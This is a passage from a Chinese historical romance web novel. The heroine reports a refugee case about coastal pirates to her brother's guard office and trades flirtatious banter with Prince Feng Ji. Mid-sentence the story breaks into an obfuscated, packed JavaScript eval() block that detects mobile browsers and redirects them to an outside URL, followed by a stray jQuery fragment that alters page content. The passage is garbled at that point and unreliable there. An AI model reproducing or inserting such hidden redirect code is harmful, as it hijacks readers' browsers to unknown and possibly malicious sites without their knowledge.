林晚棠在听,正在帮她挑竹器的银霜和郁柒夜听了,两人都是少年意气,脸上毫不掩饰地流露出义愤填膺的神色来,但两人也不是莽撞的人,心里仍留了一丝怀疑。
林晚棠要装作不知,哪怕想帮忙,也同样要做出一副没有轻信的模样,问摊主:“你说的这些,可都保真?我能帮他们,就怕事情有假。”
摊主客气一笑,道:“我也是听他们说的,信不信由人吧,早一个时辰前就有不少人说要帮了,这会儿说不定已经传到京兆府了呢,姑娘若怕事,也不必帮了,或者,您亲自去问问?”老汉说着指了指后头。
林晚棠听到京兆府,心里默默叹了口气,前世便是京兆府不靠谱,府尹齐向民,说好听些是小心谨慎,说难听便是胆小怕事,此事干系过大,他得了消息后,将人都秘密关在不可接触外人的死牢里,自己派人去东如打听消息,想着等人快马加鞭打听清楚回来再办,更稳妥些。
去东如快马来回至少要十日,这齐向民大概是想着,人都死了,紧赶慢赶也救不活,只是讨公道而已,晚几日没事,重要的是消息是否真实,这么大的事,要是闹了乌龙,影响忒不好。
只是他没想到会有人熬不住死在牢中,这些人长途跋涉受尽苦楚,全凭一口气撑着,进了死牢自觉无望,可不就有人撑不住了?
林晚棠做全了打听的戏,不再与摊主多说,吩咐银霜郁柒继续挑选,选好了直接付钱带回马车,自己则是走向了后面那些人。
他们连夜赶路,风餐露宿,跋涉许久,在城门口等待时,对他们来说算得上休息,有的坐着坐着就睡着了,有的看集市热闹,用身上所剩无几的盘缠买了些热腾腾的包子正吃着。
杜老正闭目养神,被轻推了一下,睁开眼,才看见一个穿着淡翠色上等烟罗襦裙的姑娘走上前来,干净得体,气度不凡,杜老下意识就起身后退,他一路上早已习惯了被衣着干净的人嫌弃,以为自己这一行人,又碍着了别人什么。
“老人家且慢,”林晚棠开口道,“我过来是想再听听动如的事,打听清楚些,也好帮忙,不瞒各位,我家中有人在朝为官。”
此话一出,不止眼前的杜老,所有正在等待的人都抬起脸,睁大了眼睛看向她。
侧边一人激动得迅速上前:“你真的能帮我们?!”
杜老回过神来,朝他呵斥了声:“葛老三,不得无礼。”
那人才意识到自己突然间靠得太近,虽然面前的姑娘神色淡定,没有丝毫惊吓,但他还是挠挠头退开,讪笑道:“我就是太激动了,姑娘这般热心,想来家中为官者,定也是一心为民的好官。”
其余人都点头附和,看向林晚棠的眼中饱含期冀。
林晚棠从摊子上要了个竹编的小椅子来坐下,向杜老细细问起东如的事,她态度和善,亦事先说明,问得细是为了确保事情真实,杜老便知无不言,其余人大多也是亲历者,七嘴八舌地补充。
林晚棠也不全是为了做样子,哪怕许多事情她前世已经知晓,但知道的自然是越多越好,他们说话有时说着说着便发散至别处,但只要是与东如相关的,她都耐心听取。
不知不觉便过了小半时辰,林晚棠才起身离开,回到马车上,想到他们盘缠所剩无几,又叫郁柒在集市上多买些吃的送去,又悄悄塞了袋银钱,这才回城。
进了城门,林晚棠吩咐车夫往金吾卫衙门去。
过去的路上,她默默祈祷封霁不在衙门里。
几日前听林世松提过,高淼已经回到吏部去了,封霁不知在忙些什么事,好几日才出现一次。
应该不会那么巧这时候在衙门吧,诚然此事让封霁知道了,他向来正直又有雷霆手段,处理此事会更快更妥当,但林世松出面也足够了,此事交给金吾卫,封霁也会很快知晓,结果会差不多。
所以封霁还是别在的好。
马车停在衙门外一侧,林晚棠下了车,径直到门房说要找兄长林世松。
当值的守卫不敢怠慢,纵然她是头一次来,但这里无人不知林都尉的妹妹是昭宁郡主。
林晚棠本想在此处等林世松出来,没想到守卫热情过了头,非要请她进去,听他说哥哥这会儿不忙,在校场带兵训练,林晚棠才没有拒绝。
守卫亲自带她去,林晚棠见他好说话,忍不住低声问:“靖王殿下在不在?”
“您还要找靖王殿下?”守卫回头大着嗓门道。
“不、不是……”林晚棠连忙摆手并摇头。
下一瞬,一道清冽又带着些许威严的声音如晴天霹雳般传入林晚棠耳中:“找我何事?”
两人正走过一个拐角,路过一处不大的中庭,封霁就在庭院中,面前还有一人,两人方才在此低声说话。
林晚棠被吓得脚底踉跄了一下,才朝声音来处看去。
将近十日未见,她以为自己已经能如常面对他,可这一瞬间还是心虚慌张羞窘得想落荒而逃,可再一看见封霁一脸淡然的样子,她又骤然不服气起来。
逃什么?该心虚的是他才对!
“我可没找你,也没事,就随口问问,”林晚棠挺直腰杆中气十足回话,“我要去找我哥哥了,先走了!”
她笑着挥了挥手,见封霁没什么反应,便示意守卫继续带路。
封霁多看了几眼她背影,对面前的副手道:“可还有什么要禀报的?”
副手哪能听不出他话里的意思,眼下确实没什么十分要紧的事必须说,便道:“没了,卑职先去忙了。”
封霁朝他颔了下首,快步往林晚棠走的方向追去。
副手在原地咂摸了一下,怎么觉得靖王殿下对郡主的关心,都快赶上林世子了。
另一边。
封霁想着林晚棠来衙门来的少,既然来了,那定然是无事不登三宝殿,况且,她躲他太久了。
他想见她并非全无办法,只是故意纵着她的躲避,没想到今日一见,却纵出个冷淡来,打声招呼就要立即走开,那神色仿佛他无关紧要。
看来他应该让她躲不开才是,免得再过些时日,连他姓甚名谁都要忘了。
没一会儿,他便看见了林晚棠的身影。
林晚棠听到身后越来越近的脚步声,直觉知道是谁的,连忙也加快了脚步,几乎要跑起来,还催前面带路的守卫。
守卫只以为她有急事,十分配合,直到身后传来一声:“跑什么?”
守卫回了下头,看见是封霁,整个金吾卫衙门都归封霁管吗,他自然停步。
没人继续带路,林晚棠也只好停下,嘴里忍不住咕哝:“不跑等什么……”
封霁看了她一眼,随即让守卫回门房去,“这里用不着你了,我带她去。”
“是,殿下。”守卫忙不迭应了,很快跑没了影。
林晚棠:“……”
她叹了口气。
封霁却已经兀自走到了前头,招呼她跟上。
林晚棠走在他后头,心中气愤他的态度竟如此不在意,好像只有她记得那日的事情一样。
她气得又想踩他脚后跟,突然瞥见封霁的耳朵红红的。
这才刚到巳时,太阳并不算大,不至于晒红了吧?
林晚棠快走两步跟上,与他并肩,仰头盯着他耳朵仔细端详。
她的目光难以忽略,封霁忍耐地问:“看什么?”
“咦?怎么更红了?”
“……”封霁加快了脚步。
他如何敢承认,自看见她开始,脑海中便有某些画面不断闪过,不因他在想什么而变化,哪怕这一路他拼命想军务,脑海中还是那日国公府园子里的画面。
“太晒了,你也走快些,小心脸上晒脱皮了。”封霁嗓音依旧沉冷地催促她。
林晚棠表情古怪地跟上,突然道:“原来殿下的皮肤比女子还娇嫩,这么怕晒,这个时辰的日头就能把殿下的耳朵给烤焦了呀。”
封霁被拆穿,却只是脚步滞了一下,随即伸手抓住她手腕,道:“你真想在这个时候,这个地方,听实话?”
林晚棠下意识看了下四周,还好无人,但指不定什么时候便有人经过,连忙抽出手,羞恼道:“你、你不要脸!我还以为你全忘了呢!”
“不敢忘,也不舍得忘。”
林晚棠这下直接羞得说不出话来,微微放慢步伐,躲他后头去,叫他看不见她。
忽的听见他笑了一声。
林晚棠深吸了口气,终于做了一直想做但不敢做的事,踩上了他脚后跟。
封霁穿的是战靴,踩是踩不掉,只是微微踉跄,林晚棠却跟被绊了一下似的,反而要往后倒去,随即被封霁转身接住,宽大的手掌托在她腰间。
“你真有急事找你哥哥?”封霁挑眉问。
林晚棠抓住他手臂,借力直起身,道:“自然是真的,若不是你突然过来扰……扰乱我,早就有人带我去到校场了!”
封霁知道她说的不假,虽有心想问她,他怎么扰乱她了,但还是按捺下。
既然都记着那日的事,并为此意乱,来日怎么算账都不晚。
“那便继续跟上。”封霁道。
两人继续走,很快林晚棠听到了从校场传来的声音,再绕过几间值房,又像是牢房,终于到了一片宽阔的空地,她一眼看见林世松,正在一边指挥卫兵们对练。
“哥哥!”林晚棠朝林世松喊了一声。
林世松转过头来,诧异地看向她,见她招手,连忙朝她跑去。
“妹妹,你怎么来了?”林世松一身金吾卫军服,身披甲胄,英气十足,跑到林晚棠面前,只见额头微汗,气息一丝不乱。
林晚棠扭头看了封霁一眼,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065139|174160||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忽然想到,林世松要带人出去办案,似乎也得跟封霁打声招呼,这事说给谁听都行,且发现封霁面对她其实同样没那么自在后,她已经没那么想躲了。
然而封霁与她对视一眼后,却似乎会错了意,他朝林晚棠颔首,向校场中的卫兵走去。
顿时那些卫兵像耗子见了猫似的。
林晚棠见他走开,索性也不解释,对林世松道:“哥哥,我想报个案。”
林世松神色顿时凝肃起来,又担心道:“你遇着什么事了?”
“不是我,”林晚棠道,“我是替别人报案。”
接着她将发生在那些人身上的事都细细说来。
“那些人进不来城,又怕报到城门卫,城门卫不管,把他们关起来或驱逐走,这事有些大,我也不想去京兆府,不熟悉的人我不放心,万一京兆府也想息事宁人,或嫌事太大束手束脚耽搁,都不如来找哥哥。”
林晚棠抓着林世松手臂,央求道:“哥哥,我是真想帮他们,也去仔细盘问过,我觉得他们没有撒谎。”
林世松也是个热心的人,在林晚棠说了一半时,就暗自决定要管,不论事情真不真,带人去问一遍就是,报假案自有惩罚。
“好,哥哥马上带人过去!”林世松拍板道,“不过既然殿下在这,我总要同他说一声。”
林晚棠目的达成,也不管林世松怎么跟封霁说,直接出了衙门,回到马车上,打算待会跟出城去看看。
没一会儿,她便看到车窗外,林世松带了约莫二十个金吾卫骑马出来,林世松朝她这边看了一眼,随即就带人往南城门去。
林晚棠吩咐车夫跟上。
这时,又见一人骑马从衙门出来,正是封霁。
封霁也看到了马车,他驱马过来,林晚棠见了也只好让马车先停下。
封霁不知在想什么,只是看着她,一时没说话。
林晚棠只好问:“你去哪儿。”瞧着是跟林世松相反的反向。
她还以为封霁听说这件事,定会亲自去管,有他管,定然万无一失,就算别的衙门先过去,他也无需怕谁阻挠。
“进宫面圣,此事事关重大,既然已经在城门口散播开来,越早解决越好。”
林晚棠一愣,突然道:“你就不怕我是被人骗了?”
“你听听你这话,我要是回答怕,你乐意听吗?”
林晚棠:“……”
封霁收起玩笑,道:“我知你大事上还是有些分寸,更重要的是,半个月前东如送来的奏疏,确有提及临海县县令暴毙一事,奏疏上颇有些语焉不详,粉饰太平之辞,东如的海寇从前亦有所传闻。”
“那为何一直不解决呢?”林晚棠忍不住问。
她前世知道一部分缘由,知道前朝至今,一直不擅航海,海寇来犯能抵,可东如这种滑不留手的,一逃出海,官府便没办法。
可后来不是也解决了,说明这并非不可能之事,若是能再早些,是不是便不会有这么惨烈的事情发生?
然而看见封霁神色一瞬间变得复杂难言,眉眼难掩自责,林晚棠又后悔。
她也大概能想到,大晋不过建朝二十年,嘉顺帝登基三年,内乱刚平又御外敌,每一件事,都比从前小打小闹的东如海寇重要,谁也没想到会有今日恶果吧。
她可以这般去问前朝,问先帝,问嘉顺帝,但不该问眼前这个人,嘉顺帝登基前,他也不过是个连储君之位都没资格争的皇子,毕竟长幼有序,后来内乱是他平,外敌是他退,他自手握军权,便少有停歇之时,暗中还有伺机取他性命之人。
东如海寇解决不了,航海不兴才是症结所在,要让朝廷动起来,要么极盛之世,余力丰沛,要么便是如今,被逼无奈,只能解决。
她不该问封霁,这人喜欢大包大揽,必定以为有事自己做得不够了,她还不想封霁去东如呢,他刚从北疆回来才多久,这次就该封琰去!
可问都问出口了……
怎么办。
林晚棠在心里着急,眼看封霁要开口,她突然伸手探出车窗,命令道:“你低一下头!”
封霁坐在马上,不明所以地低头靠近,却愁容不散。
林晚棠伸直一根食指,点在他眉心轻轻揉了揉,笑道:“你不会以为我这么问是在怪你吧,唉,我在问天呢,你又不是天,若陛下真要派人去剿灭海寇,我真不希望你去。”
“为何?”封霁怔怔地问。
“听闻从前官府派兵,都是有去无回的,听着好凶险!”
“正是这般凶险,才该我去。”
林晚棠气得用手指推开他,唰地甩下帘子,“你这样,谁敢将你放在心上?!”
封霁目送着马车朝另一边哒哒哒走远,又抬头望了望渺远广阔的天穹,好一会儿,才驱马朝皇宫去。
……